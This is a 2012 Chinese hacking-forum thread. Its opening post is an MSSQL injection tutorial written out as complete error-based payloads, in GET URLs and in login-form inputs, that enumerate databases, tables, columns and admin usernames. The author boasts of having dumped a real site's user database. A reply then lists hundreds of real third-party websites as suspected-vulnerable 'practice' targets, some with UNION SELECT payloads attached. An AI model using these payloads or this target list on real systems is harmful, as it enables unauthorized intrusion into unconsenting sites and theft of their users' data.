天马行空工作室

 找回密码
 加入天马
搜索
查看: 12458|回复: 7

注入某XXOO品牌:换个名字也许就有点击率。

[复制链接]
发表于 2012-4-6 21:38:45 | 显示全部楼层 |阅读模式
要是您觉得我的文章有用请您多留言,多反馈。
漏洞已经向wooyun.org提交。同时看到了我们的疏懒同志提交了N多漏洞很给力啊。呵呵!
现在我们来讨论技术问题。

前面的几章,我们谈到的是Get注入。今天是Post注入其实都一样。以后也会谈到SOAP注入。
Ps:写在前面的话,其实那个网站,当时我只是想获取那Mm的账号,进去看看的,结果发现整个站点的数据库都可以导出来了。结果我脱裤了。昨晚写了个程序整理了所有的数据,想想这东西不怎么好,烫手,就又删除了。看看今天的测试。
测试用虚拟的站点没办法。

今天就改改风格呵呵:
没人反馈啊!!!!!!!
您的支持才是我写下去的动力啊!!!!!!!!!!!
要是您有什么问题请看我前面的文章!!!!
一般的MsSQLI Get:基础知识普及!!!
var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";http://www.example.com/page.asp?id=1' HAVING 1=1--http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))-http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--这基本就是注入的全部过程了。
现在来看我们这个站点的post注入!首先找到登入框!我们可以测试什么呢?single quote“‘” 就是单引号。在web.config 配置中设置为非Off状态下。架构是基于 win+IIS+NET一般测试信息:a' and convert(int,(@@version,db_name(),user_name()))=1 and 'a'='aa' and convert(int,(@@version))=1 and 'a'='aa' and convert(int,(db_name()))=1 and 'a'='aa' and convert(int,(user_name()))=1 and 'a'='a可以获取基本信息:1:使用。Mastera' and convert(int,(select top 1 name from master.dbo.sysdatabases ))=1 and 'a'='a使用 not in 可以代替 Limit 其次convert 可以改变数据类型 思想:用不同数据类型的冲突 获取您想要的信息a' and  convert(int,(select top 1 name from master.dbo.sysdatabases where name not in ('master','model','msdb'....'zqRoyDaya')))=1--2:使用schemaa' and 1=convert(int,(select top 1 table_name from information_schema.tables) and 'a'='a和MySQL类似。
查询第N条信息的方法:a' and convert(int,(select top 1 UserName from T_Admin where UserName not in ('Roy','管理员','侠名')))=1 and 'a'='a可能每个人的方法都不相同,但是我的方法是这样的。查询一条然后排除以已有的。
可能今天,说的不是很清楚没有具体的网站说明!不过您也懂,国内的网站不要掩饰。等我去找一个国外的,或者我想厂商提出的漏洞认领,修补之后,我在重新写过把!
最后的话语,要是有用,您就多跟帖。写文章,和写小说一样,没人看,没人交流技术,我写出来有什么意思?还不如烂在肚子里算了。
发表于 2012-4-6 22:03:43 | 显示全部楼层
这些站可能有问题,大家可以练手,国外的。
面对匿名的挑衅,我们要有准备。

http://www.hajinformation.com/display_news.php?id=2766'
http://www.sflcn.com/story.php?id=8504'
http://www.sunnysiderecords.com/labels.php?labelID=3006'
http://www.plusline.org/article.php?id=270'
http://isectech.net/Forum/printthread.php?tid=578'
http://www.virginia.edu/psychology/people/detail.php?id=163'
http://phap.ru/?tag_id=3084'
http://www.luimo.org/curriculum.php?id=ST000036'
http://www.thecompletepianist.com/material.php?id=48'
http://www.discoverypartnerships.com/register/curriculum.php?id=49'
http://www.hartmanarena.com/event.php?id=158'
http://www.smoaky.com/news/View.php?ArticleID=897'
http://www.ebambi.com/profile_view.php?id=100000034'
http://www.justcampagne.fr/en/produit.php?id_cat=5'
http://www.plminishop.com/shop.php?action=full&id=1723'
http://fpchurch.org.uk/News/view.php?id=26'
http://capturegis.com/pages.php?id=10'
http://www.skbcases.com/music/news/news-detail.php?id=156'
http://www.hartmanarena.com/event.php?id=157'
http://widescreenreview.com/news_detail.php?id=17872'
http://www.fundraisingnetwork.org/cat-Games.php?id=39'
http://help.websitesettings.com/article.php?id=193'
http://www.mesquitelocalnews.com/news.php?id=2'
http://www.bonsaitrees.com/gallery.php?id=4'
http://www.seanscottphotography.com.au/shop_category.php?id=1'
http://virtualmemorials.com/main.php?action=reflections&mem_id=17970'
http://www.minesandcommunities.org/look.php?id=101'
http://www.virtual-memorials.com/main.php?action=view&mem_id=1171'
http://ethansreview.com/website.php?id=1'
http://www.robertkleingallery.com/gallery/main.php?level=album&id=97'
http://www.liteon-semi.com/_en/01_semicomp/04_02_newsdetail.php?ID=138'
http://www.channel5belize.com/archive_detail_story.php?story_id=23626'
http://mappn.com/game.php?id=11'
http://www.huntearth.com/related_links.php?ID=11750'
http://www.penn-station.com/story.php?id=33'
http://www.biblioteca-ua.com/select_biblio.php?id=-1599+union+select+1%2Cconcat(table_name%2C0x3a%2Ccolumn_name%2C0x3a%2Ctable_schema)%2C3%2C4%2C5+from+information_schema.columns+where+column_name+LIKE+CHAR(37%2C+112%2C+97%2C+115%2C+37)--'
http://www.webcommerce.insee.fr/fiche-produit.php?id_produit=2170'
http://www.contemporaryposters.com/category.php?Category_ID=102'
http://www.glac.fr/en/produit.php?id=88'
http://www.glac.fr/en/produit.php?id=66'
http://www.glac.fr/en/produit.php?id=51'
http://www.glac.fr/en/produit.php?id=84'
http://www.glac.fr/en/produit.php?id=99'
http://dvdholocaust.com/review.php?id=577'
http://www.binerellison.com/main.php?menu_id=31'
http://www.skbcases.com/music/news/news-detail.php?id=24'
http://www.cbmin.org/cbm/staff?staff_id=6'
http://www.guruslodge.com/index.php?topic=6484.0'
http://shop.patourism.org/register_for_publications.php?con_id=105'
http://www.dracoders.com/games.php?id=14'
https://www.camillushouse.org/news_center/news_detail.php?ID=78'
http://www.girls.njpanthers.com/preview.php?id=25'
http://www.boys.njpanthers.com/preview.php?id=17'
http://www.leadacidbatteryinfo.org/newsdetail.php?id=10%20order%20by%2010--'
http://www.aircomfort.com/news/media_news_detail.php?id=2'
http://www.skbcases.com/industrial/products/prod-detail.php?id=356'
http://occasions.southworth.com/index.php?id=24'
http://www.lubromation.com/category.php?id=68'
http://www.us.monin.com/category.php?id=1872'
http://www.bayareaassn.com/memberinfo.php?id=10'
http://www.hebron.com/english/gallery.php?id=170'
http://www.suncal.com/news/view.php?id=44'
http://art.colorado.edu/hiaff/section.php?id=4'
http://alarshfm.com/section.php?id=41'
http://www.ath-elite.com.au/trainers.php?id=25'
http://linkbrandunion.net/productinfo.php?id=270'
http://www.xac.com.tw/product_info.php?id=10'
http://www.euroantiquemarket.com/productinfo.php?id=p_907-239'
http://www.baobeistore.com/productinfo.php?id=211'
http://www.f4customs.com/install_pages.php?id=8'
http://www.anchoryachts.com/preview.php?ID=67'
http://www.feicuidao.com/jqzx_look.php?id=93'
http://biblioteca-ua.com/select_biblio.php?id=1599"http://tmxk.org/static/image/smiley/default/titter.gif" smilieid="9">DT_ID=50'
http://www.weddingalbumsandmore.com/shopping.php?prd_id=38'
http://www.cfnielsen.com/material.php?id=15'
http://www.1057567.ru/by_material.php?group_id=3'
http://www.coedllandegla.com/download.php?id=2'
http://www.worldbex.com/worldbex/events/events.php?EVENT_ID=Philbex'
http://www.northparkapartments.com.au/newsitem.php?id=13'
http://www.amrproductions.nl/faq/view_faq.php?id=8'
http://princesspaper.com/pages/view-product.php?id=2'
http://www.tankmuseum.org/shop/category.php?cat_id=2'
http://kirstenbrydum.virtual-memorials.com/main.php?action=view&mem_id=14816&page_no=1'
http://www.belleaircc.com/belleair-country-club-news-full.php?news_id=12'
http://www.futuresfins.com/fin-detail.php?id=6'
http://www.brikettieren.com/material.php?id=18'
http://www.brikettieren.com/material.php?id=17'
http://www.communityinclusion.org/staff.php?staff_id=98'
http://www.joymag.co.za/newsitem.php?newsID=116'
http://www.bayareaassn.com/memberinfo.php?id=7'
http://framheavyduty.com/company/newsitem.php?RF_ITEM[]=NewsArticle$0@8'
http://www.emaxxtech.com/view_faq.php?id=32'
http://www.waukee.org/event.php?id=182'
http://askort.com/?item_id=331'
http://www.char-chars.co.uk/theme.php?chthemeID=6'
http://carolinatt.org/v3/newsitem.php?id_art=63'
http://www.atitelemetry.com/viewapp.php?id=7'
http://www.worldmusicinstitute.org/event.php?id=906'
http://www.vertinsky.com/?item_id=699'
http://www.poweringmuscles.com/article.php?id=55'
http://association.cqu.edu.au/cqusa_faq/php/view-faq.php?id=66'
http://www.worldmusicinstitute.org/event.php?id=1089'
http://www.apx-enclosures.com/main/Collection_Item.php?ID=53'
http://www.apx-enclosures.com/main/Collection_Item.php?ID=57'
http://www.selfpp.com/gallery.php?ID=8'
http://familynewsabout.com/aboutBook.php?id=104332'
http://www.yourwallpaper.se/collection_item.php?id=44'
http://www.yourwallpaper.se/collection_item.php?id=90'
http://www.tecnologi.net/wp/curriculum.php?id=105'
http://www.uarkcomstore.com/cart/look.php?item_id=4049088'
http://www.thejewishmuseum.org/site/pages/event.php?id=348'
http://cacoastinfo.com/directory.hq/listingPop.php?Id=640'
http://fidohub.com/product.php?prod_id=38'
http://stomachofanger.com/product.php?id=35'
http://www.igert.rutgers.edu/fellows.php?FellowID=91'
http://zhyj01.com/book_look.php?book_id=1303'
http://www.boys.njpanthers.com/preview.php?id=21'
http://samsungmobilers.ro/post.php?id=82'
http://www.geneticsandsociety.org/article.php?id=129'
http://www.peabody.uga.edu/news/event.php?id=59'
http://www.rctrain.com/index.php?id=8'
http://www.renrox.com/gallery.php?id=6'
http://www.bsp.org.uk/news_full.php?id=30'
http://www.ceripp.it/curriculum.php?id=9'
http://www.pure-fitness.com/en/hongkong/teachers/trainers.php?teacher_id=361'
http://www.rammedearthconstructions.com.au/gallery.php?mp_id=11'
http://zhyj01.com/book_look.php?book_id=1430'
http://www.luimo.org/curriculum.php?id=ST000019'
http://www.tecnologi.net/wp/curriculum.php?id=237'
http://sklep.tarotnet.pl/product_info.php?products_id=3241'
http://www.2hgs.com/detail_humor.php?ID=42'
http://www.armorysq.org/main/shopping.php?id=178'
http://bigskyeda-edc.org/news-detail.php?id=113'
http://www.konceive.com.au/riverside/investAnnounce.php?id=43'
http://www.fitnessbuildshealth.com/trainers.php?id=88'
http://www.ecasttv.co.nz/channel_detail.php?channel_id=112'
http://www.grippingbeast.com/shop.php?CatID=412'
http://cloneemotorcentre.ie/faq2.php?id=15'
http://statton.com/Collection_Item.php?ID=7776'
http://www.inner-live.com/index.php?task=channels&action=view&channel_id=339'
http://www.recgov.org/hqarmy/Collection_Item.php?ID=35'
http://americantraditionalfurniture.com/Collection_Item.php?ID=3'
http://www.coogans-run.co.uk/h/steve-coogan-newsitem.php?id=654'
http://kempcenter.org/ProductDetail.php?id=2'
http://www.chromagar.com/fiche-produit.php?PARAM_NAVIGATION=clinical&;PDT_ID=25'
http://www.planetbollywood.com/displayReview.php?id=m120411044342'
http://www.wabahome.com/event.php?id=24'
http://www.computerhistory.org/VirtualVisibleStorage/theme.php?tax_id=04.05.00.00'
http://www.slantmagazine.com/giveaway_detail.php?id=3'
http://www.presmgmt.com/newsitem.php?news=9'
http://www1.kingsborough.edu/sub-other/sub-student/scholarshipdb/pop.php?id=331'
http://old.brownsvilleherald.com/opinions.php?id=10'
http://www.zigzagweeklynews.com/opinions.php?ID=2496'
http://www.yboaofnc.com/event.php?id=5'
http://www.belleaircc.com/belleair-country-club-news-full.php?news_id=9'
http://www.fernandateranstore.com/pages/collectionItem.php?id=185'
http://www.fernandateranstore.com/pages/collectionItem.php?id=188'
http://www.bailey-caravans.co.uk/information-centre/latest-news/newsitem.php?recordid=230'
http://www.hitchedmag.com/article.php?id=469'
http://www.coastal-koi.com/view_product.php?id=1566'
http://nwvault.ign.com/View.php?view=Hakpaks.Detail&id=7665'
http://mayfairgames.com/game.php?id=212'
http://www.coastal-koi.com/view_product.php?id=68'
http://www.cardblanks.com/usa/shop.php?category=Crystal_Clear_Sleeves'
http://www.kciexpo.com/event.php?id=52'
http://www.bulletproofautomotive.com/catalog-detail.php?ID=7265'
http://www.wminyc.org/event.php?id=1211'
http://www.hotproperties-bayarea.com/readnews.php?id=2'
http://www.penn-station.com/story.php?id=14'
http://www.cryptoseries.fr/Fiches/fiche-serie_personnages.php?id=24%20'
http://planetbollywood.com/displayArticle.php?id=011911120352'
http://www.avmaniacs.com/review.php?id=860'
http://rudrapuronline.com/jobs/vacancy.show.php?id=270'
http://www.dvdmaniacs.net/review.php?id=1376'
http://amanda-wainscott.virtual-memorials.com/main.php?action=view&mem_id=6401&page_no=2'
http://www.mv-voice.com/story.php?story_id=1336'
http://www.alte.org/news/newsitem.php?newsID=197'
http://www.luckinthebox.net/productinfo.php?id=270'
http://www.leadacidbatteryinfo.org/newsdetail.php?id=18'
http://hcpoa.com/readnews.php?id=42'
http://motdrb.com/tr/trainers.php?do=show&Trainer_ID=361'
https://www.camden.rutgers.edu/security-bb/page.php?id=2'
http://www.falltvpreview.com/show.php?id=1109'
http://www.yboaofnc.com/event.php?id=8'
http://www.labyrinthcompany.com/view_category.php?category_id=2'
http://www.hkyongnuo.com/e-detail.php?ID=241'
http://www.adas-fusion.eu/theme.php?id=2'
http://www.plusline.org/article.php?id=6068'
http://www.contemporaryposters.com/category.php?Category_ID=24'
http://www.traikos.us/trends_opinions.php?id=5'
http://myfsbosale.com/news_detail.php?id=2'
http://www.uslandandhome.com/detail.php?id=2649'
http://www.starswelove.com/scriptsphp/showimg.php?imageid=11760'
http://www.laserltd.ps/cat/showimg.php?id=2342'
http://www.thompsoncrm.com/pages.php?action=contactus&id=66'
http://www.afcs.org/findings/publications.php?searchType=id&searchCriteria=16'
http://www.advantagecontrols.com/staff.php?staff_id=8'
http://motdrb.com/tr/trainers.php?do=show&Trainer_ID=228'
http://www.cometantenna.com/newPro_detail.php?ID=234'
http://www.saumon-fqsa.qc.ca/en/section.php?ID=16'
http://www.bigtop.org/schedule/calendar_event.php?event_id=1090'
http://www.playboundaryoak.com/event.php?event_id=5245'
http://fitnessbuildshealth.com/trainers.php?id=254'
http://fitnessbuildshealth.com/trainers.php?id=124'
http://www.brew-monkey.com/news.php?id=644'
http://www.kcl.ac.uk/teares/nmvc/external/contact/staff_page.php?staff_id=510'
http://www.manilawater.com/section.php?section_id=5'
http://www.cabinetglass.com/preview.php?id=352'
http://www.drummajorinstitute.org/events/unique_event.php?ID=50'
http://www.smoaky.com/news/View.php?ArticleID=2843'
http://www.mcah.columbia.edu/dbcourses/publicportfolio.cgi?view=1158'
http://perkins.pvt.k12.ma.us/museum/section.php?id=202'
http://bulacandeped.org/viewannounce.php?id=4'
http://www.datraveler.com/main/theme.php?id=214'
http://www.baskinnovations.com/en/fiche_produit.php?id=68'
http://www.laserltd.ps/cat/showimg.php?id=1040'
http://www.indianewsheadlines.com/post.php?id=11118'
http://www.plminishop.com/shop.php?action=full&id=2018'
http://www.rapreviews.com/news/View.php?ArticleID=10161'
http://www.ktbb.com/news/View.php?ArticleID=10718'
http://www.geneticsandsociety.org/article.php?id=282'
http://www.soft-gems.net/supplement/download.php?ID=28'
http://www.prespec-consulting.com/theme/theme.php?id_theme=7'
http://www.gamaheer.suhufarabia.com/section.php?s_id=13528'
http://www.luimo.org/curriculum.php?id=ST000021'
http://www.avmaniacs.com/review.php?id=1335'
http://www.tidytowns.ie/newsItem.php?id=474'
http://www.nissi-beach.com/section.php?id=13'
http://www.dvdmaniacs.net/review.php?id=204'
http://www.muslimsdebate.com/story.php?story_id=1485'
https://www.spacetoys.com/proddetail.php?prod=TAP12'
http://www.hcpoa.com/readnews.php?id=164'
https://powertraveller.com/news/detail.php?id=000126'
http://www.constructionspares.com/main.php?ID=6'
http://www.liteon-semi.com/_en/01_semicomp/04_02_newsdetail.php?ID=132'
http://revivamd.com/news_view.php?news_id=1057'
http://www.babycareadvice.com/babycare/general_help/article.php?id=48'
http://www.cfnielsen.com/material.php?id=19'
http://www.zigzagweeklynews.com/opinions.php?ID=3410'
http://www.ath-elite.com.au/trainers.php?id=28'
http://www.f4customs.com/videos_pages.php?id=6'
http://apiexchange.com/index_main.php?id=1'
http://allspeedperformance.com/gallery.php?id=1'
http://familynewsabout.com/aboutBook.php?id=3241'
http://www.medix.com.hr/aboutbook.php?id=33'
http://www.thedockyard.co.uk/photo_gallery_pop.php?id=43'
http://www.zuluflix.com/findmoviestitle.php?cat_id=2'
http://www.rogersspecialtysales.ca/show.php?id=18''
http://runningmyraces.com/event.php?id=550'
http://allspeedperformance.com/gallery.php?id=6'
http://www.drawger.com/show.php?show_id=27'
https://www.piratesdinneradventure.com/tickets/select_show.php?id=2'
http://sflcn.com/story.php?id=10851'
http://www.lanrcc.org.uk/pages.php?id=6'
http://www.unitedenertech.com/catalog/product.php?id=33'
http://campus.sanook.com/inlove/read.php?id=170'
http://www.yboaofnc.com/event.php?id=69'
http://www.cfmoto.cn/Product.php?id=2'
http://www.kusuri.co.uk/shopping.php?class_id=59'
http://www.wellydiecast.com/product_detail.php?id=1070'
http://www.armorysquareofsyracuse.com/main/shopping.php?id=15'
http://www.coastal-koi.com/shopping.php?class_id=123'
http://www.costaricaticas.com/news.php?id=540'
http://www.ptcelectronics.com/product_detail.php?id=7'
http://computer.ytu.edu.cn/showannounce.php?id=41'
http://www.elitebicycles.com/athletes_detail.php?id=42'
http://kirstenbrydum.virtual-memorials.com/main.php?action=view&mem_id=14816&page_no=9'
http://www.bodegondelasflores.com/pop.php?id_prod=39'
http://www.maxprotech.com/maxpro-product-detail.php?id=101'
http://www.2hgs.com/detail_humor.php?ID=27'
http://www.eventdirect.ca/game.php?ID=62'
http://thehimalayantimes.com/tgifnfw11/theme.php?id=260'
http://www.hayhouseradio.com/episode_preview.php?author_id=59'
http://www.saleemcarpets.com/prod_detail.php?ID=57'
http://www.airsoftgi.com/product_info.php?products_id=236'
http://www.webcommerce.insee.fr/fiche-produit.php?id_produit=1664'
http://www.bigtop.org/schedule/calendar_event.php?event_id=1133'
http://www.cbmin.org/cbm/staff?staff_id=10'
http://ultimatehomedesign.com/news-detail.php?id=312'
http://www.ajaximpact.com/detail_opinions.php?id=11'
http://www.matamorosenred.com/ver_curriculum.php?id=62'
http://www.swithenbanks.co.uk/shop.php?action=full&id=12312'
http://mastghar.com/property_detail.php?id=229'
http://www.fortalezasmultimidia.com.br/fortalezas/index.php?ct=fortaleza&id_fortaleza=387'
http://www.linkinthebox.com/productinfo.php?id=100'
http://www.stalkerradar.com/sportsradar/product_info.php?id=5'
http://www.pure-fitness.com/teachers/trainers.php?teacher_id=119'
http://art.colorado.edu/hiaff/section.php?id=1'
http://www.wellydiecast.com/product_detail.php?id=1134'
http://www.queenhelene.com/skincare_product_detail.php?id=48'
http://www.evolutionwalker.com/default.php?newsID=41'
http://princesspaper.com/pages/view-product.php?id=52'
http://www.kcl.ac.uk/teares/nmvc/external/contact/staff_page.php?staff_id=245'
http://www.pure-fitness.com/teachers/trainers.php?teacher_id=320'
http://www.westbury.com/article.php?article_id=117'
http://www.stpatsfc.com/news.php?id=4041'
http://www.fibreglasspoolssa.co.za/showimg.php?where=news&what=newsid&id=28'
http://www.humanrights.uconn.edu/publications.php?id=19'
http://www.daviddewphotography.co.uk/pages/galleries/trainers.php?gall_id=241'
http://www.neilprydemaui.com/category.php?id=6'
http://www.grainfields.ca/view_product.php?id=9'
http://www.kusuri.co.uk/view_product.php?id=232'
http://www.thestandingcompany.com/about/news_detail.php?id=15'
http://www.kusuri.co.uk/view_product.php?id=245'
http://www.retroinferno.com/viewproduct.php?id=688'
http://www.euroantiquemarket.com/productinfo.php?id=p_081505369'
http://www.wabahome.com/event.php?id=19'
http://www.arcana.com/view_title.php?id=243'
http://www.elreloj.com/article.php?id=25909'
http://breakawaycat.com/pages.php?id=1'
http://www.gordonsmithguitars.com/products/category.php?id=2'
http://www.cheerribbons.com/products/viewProduct.php?id=1267'
http://www.poitrey.fr/produit.php?produit_id=15'
http://stadiumsportsllc.com/news_view.php?id=20'
http://www.dijalo.co.za/property_pop.php?id=4'
http://www.little-trees.com/us/products_detail.php?x=x§ion=products&id=9'
http://www.schneiderwallace.com/news_detail.php?id=13'
http://www.bulletproofautomotive.com/catalog-detail.php?ID=6782'
http://kb.calyxsupport.com/kb/article.php?id=308'
http://www.walkamilepeterborough.com/participant.php?id=68'
http://www.communityinclusion.org/staff.php?staff_id=176'
http://www.ianforsythphotographer.com/main.php?id=1'
http://www.djangosolos.com/title.php?id=128'
http://www.bcspeakers.com/page.php?id=22'
http://www.weddingalbumsandmore.com/shopping.php?prd_id=36'
http://www.plusline.org/article.php?id=4319'
http://www.krcamaorientalinstitute.org/news.php?id=5'
http://www.clearlakecountry.com/shopping.php?categoryid=26'
http://www.actforkids.com.au/news_full.php?id=166'
http://www.evolutionwalker.com/product_user.php?newsID=84'
http://www.medpharma-ae.com/showimg.php?id=160'
http://www.coolmore.com/stallions-view.php?list=ireland&id=7'
http://www.schoolofbhagavadgita.org/shopping.php?id=45'
http://www.futuresfins.com/fin-detail.php?id=1'
http://www.tnis.school.nz/learning-curriculum.php?item_id=322'
http://www.queenhelene.com/skincare_product_detail.php?id=72'
http://lipchip.com/product_detail.php?id=15'
http://www.shopaware.com/product/product_detail.php?id=134'
http://www.char-chars.co.uk/theme.php?chthemeID=1'
http://www.kbnusa.com/prod_detail.php?m=e&id=32'
http://www.noppon.com/productinfo.php?id=279'
http://association.cqu.edu.au/cqusa_faq/php/view-faq.php?id=103'
http://www.heinzjulen.com/aff_produit.php?ref_produit=11&rubrique=1&debut=0&id_template=A1'
http://www.bia2.com/music-review/review.php?id=182'
http://www.allprinters.my/proddetail.php?prod=CM205b'
http://www.masshist.org/database/doc-viewer.php?item_id=99'
http://www.xac.com.tw/product_info.php?id=1'
http://baywoodbest.com/listingPop.php?Id=620'
http://www.dkggroup.com/newsdetail.php?id=165'
http://www.sirfrt.com.au/sirf_pages/download.php?id=127'
http://www.rapreviews.com/news/View.php?ArticleID=10098'
http://banyantrades.com.au/newsitem.php?id=10'
http://www.thehimalayantimes.com/featured/nfw2/theme.php?id=440'
http://www.alarsh.ae/section.php?id=37'
http://www.alarsh.ae/section.php?id=31'
http://www.gymka.com/english/detail_produit.php?id=361'
http://www.winnersdreamteam.in/theme.php?go=leaders&id=6&lid=30'
http://www.winnersdreamteam.in/theme.php?go=leaders&id=1&lid=8'
http://www.giftblooms.com/shop.php?shop=terms'
http://www.justcampagne.com/en/produit.php?id_cat=1'
http://ggnormk.com/showImg.php?id=22'
http://www.fracewildlifeart.com/detail.php?id=54'
http://widescreenreview.com/news_detail.php?id=10962'
http://www.dentistry.co.uk/news/news_detail.php?id=766'
http://www.beebeedevelopments.co.uk/newsitem.php?id=000127'
http://www.shoppingtang.com/productinfo.php?id=103'
http://igert.rutgers.edu/fellows.php?ClassID=8'
http://rainydaymv.com/toys/games-toys-all-ages.php?id=21'
http://ultimatehomedesign.com/news-detail.php?id=309'
http://www.bonsaitrees.com/gallery.php?id=5'
http://www.mmbuildings.com/newsitem.php?id=61'
http://www.giacusa.com/news.php?newsid=70'
http://www.shoppingtang.com/productinfo.php?id=109'
http://evt-me.com/newsDetail.php?id=8'
http://portablesofdoom.org/archive/index.php?search=1&search_text=am'
http://www.arcana.com/view_title.php?id=210'
http://www.tomkane.com/section.php?id=3'
http://www.firagirona.com/participant.php?id=62&cl=6399'
http://help.websitesettings.com/article.php?id=040'
http://www.coconutgrove.com/shopping.php?detail=11'
http://www.polkatheatre.com/event.php?id=43'
http://www.stadiou.com/en/company_shopping.php?store_id=20'
http://ukcatcollege.com/pages.php?pge_id=73'
http://www.falltvpreview.com/show.php?id=1037'
http://www.worldstyling.com/web/product_detail.php?id=707'
http://www.kevinmurphy.com.au/products/styling_productdetail.php?id=12'
http://www.cristal.com.hk/products_main.php?bn_id=2'
http://www.totemcreation.fr/produits/theme.php?idtheme=797&idrub=100'
http://www.greeklightshop.com/wherebuy.php?News_categoryId=4'
http://www.cityofsunprairie.com/docs/category.php?department_id=12&category_id=3472'
http://www.waukee.org/event.php?id=19'
http://vela.nightclubmedia.com/event.php?event_id=103'
http://www.clemcoindustries.com/products_showitem_clemco.php?item_id=03578'
http://www.westbury.com/article.php?article_id=122'
http://www.chineseclothingonline.com/best_buy.php?page=all'
http://heinzjulen.com/aff_produit.php?ref_produit=22&rubrique=7&id_template=C1'
http://www.greeklightshop.com/wherebuy.php?News_categoryId=3'
http://www.gymka.com/english/detail_produit.php?id=483'
http://www.glac.fr/en/produit.php?id=110'
http://www.spacetoys.com/proddetail.php?prod=CAS19'
http://www.innosongroup.com/news.php?id=3'
http://www.m-plus.com.tw/curriculum.php?CategoryID=1&Code=V'
http://matamorosenred.com/ver_curriculum.php?id=38'
http://www.lawetalnews.com/post.php?id=141'
http://magistrblog.ru/view_post.php?id=50'
http://www.kristofbuntinx.com/post.php?id=32'
http://www.padaweb.org/member_detail.php?id=51'
http://www.australianewsonline.com/post.php?id=13419'
http://www.iol.umd.edu/People/person.php?id=tweyrauch'
http://www.canalchat.com/transcript.php?id_alaffiche=1013'
http://www.equinephotographers.org/members/portfolio_image_preview.php?pi_id=6178&id=3043'
http://www.zuluflix.com/findmoviestitle.php?cat_id=13'
http://www.adas-fusion.eu/theme.php?id=3'
http://www.kevinmurphy.com.au/products/styling_productdetail.php?id=17'
http://www.glac.fr/en/produit.php?id=47'
http://www.open-video.org/transcript.php?videoid=860'
http://www.seanscottphotography.com.au/shop_category.php?id=10'
http://www.skbcases.com/industrial/products/prod-detail.php?id=147'
http://nwvault.ign.com/View.php?view=Hakpaks.Detail&id=7849'
http://www.open-video.org/transcript.php?videoid=650'
http://www.dundeetrainingstable.com/news-full.php?ID=16'
http://www.attnl.com/post.php?id=24'
http://www.tecnologi.net/wp/curriculum.php?id=202'
http://www.emaxxtech.com/view_faq.php?id=44'
http://pokenav.net/blog_post.php?id=824'
http://www.drscheffler.fr/fr/_produit.php?_produit.php?id_cat=1&id_souscat=2'
http://www.sflcn.com/story.php?id=10972'
http://www.icewarm.com.au/page.php?pId=183'
http://mappn.com/game.php?id=3'
http://www.planres.com/portdtl_tran.php?id=8'
http://wmsyacres.com/viewproduct.php?id=10'
http://www.wessexpantry.co.uk/view_product.php?c_id=12&sc_id=0&p_id=60'
http://www.quran-er.org/announce.php?ann_id=2'
http://www.starswelove.com/scriptsphp/showimg.php?imageid=41020'
http://www.luimo.org/curriculum.php?id=ST000039'
http://www.starasia.org/post.php?id=14'
http://www.bigmagie.com/product_info.php?products_id=444'
http://www.bigmagie.com/product_info.php?products_id=302'
http://www.nicolasmarquis.com/site/produit.php?id=%2733'
http://ww2.fairfaxtimes.com/cms/story.php?id=1195'
http://nybmwcca.org/news.php?id=42'
http://www.coogans-run.co.uk/h/steve-coogan-newsitem.php?id=4'
http://framheavyduty.com/company/newsitem.php?RF_ITEM[]=NewsArticle$0@22'
http://www.pialombardia4.it/newscat.php?id_newscategory=2'
http://www.odessachamber.com/newsdetail.php?id=45'
http://www.gocontempo.com/pages.php?id=2'
http://www.wdst.com/index.php?page=player'
http://www.istl.com/view-product.php?ID=56'
http://www.ktbb.com/news/View.php?ArticleID=10733'
http://www.buzzylinhart.com/news-view.php?id=18'
http://www.samsungmobilers.ro/post.php?id=143'
http://www.baobeistore.com/productinfo.php?id=244'
http://www.oppenheimlaw.com/press-releases.php?new_id=71'
http://www.skbcases.com/music/news/news-detail.php?id=82'
http://www.minesandcommunities.org/look.php?id=55'
http://www.minesandcommunities.org/look.php?id=82'
http://www.hkjgs.com/news_detail.php?id=5'
http://bigskyeda-edc.org/news-detail.php?id=112'
http://www.hkyongnuo.com/e-detail.php?ID=282'
http://www.karateshorinkan.com/event.php?event_id=27'
http://www.ristorantelarsenale.com/newscat.php?id_newscategory=3'
http://www.clicfolio.com/clicfolio/curriculum.php?id=7934'
http://www.emaxxtech.com/view_faq.php?id=34'
http://kristofbuntinx.com/post.php?id=40'
http://www.airsoftgi.com/product_info.php?products_id=4246'
http://mrbroadway.com/pop.php?id=20'
http://www.checkersindustrial.com/product.php?id=25'
http://www.ferobrake.co.za/productdetail.php?id=19'
http://worldstylingtt.com/product_detail.php?id=2787'
http://www.nitro-helmets.com/product_category.php?category_id=83'
http://propartsllc.com/prodDetail.php?ID=596'
http://www.jocuri-online.net/game.php?id=5'
http://www.tritecrealestate.com/news_detail.php?id=12'
https://www.alabamacylinderhead.com/productdetail.php?id=109'
http://www.inesc-id.pt/publications.php?showAll=true'
http://www.shoppingtang.com/productinfo.php?id=294'
http://www.lumopro.com/product.php?id=25'
http://baroquedub.co.uk/mixtape.php?id=32'
http://www.wandatech.com/productDetail.php?id=27'
http://intimatemalta.com/shop/category.php?ID=24'
http://www.robotech.com/community/forum/messages.php?id=23'
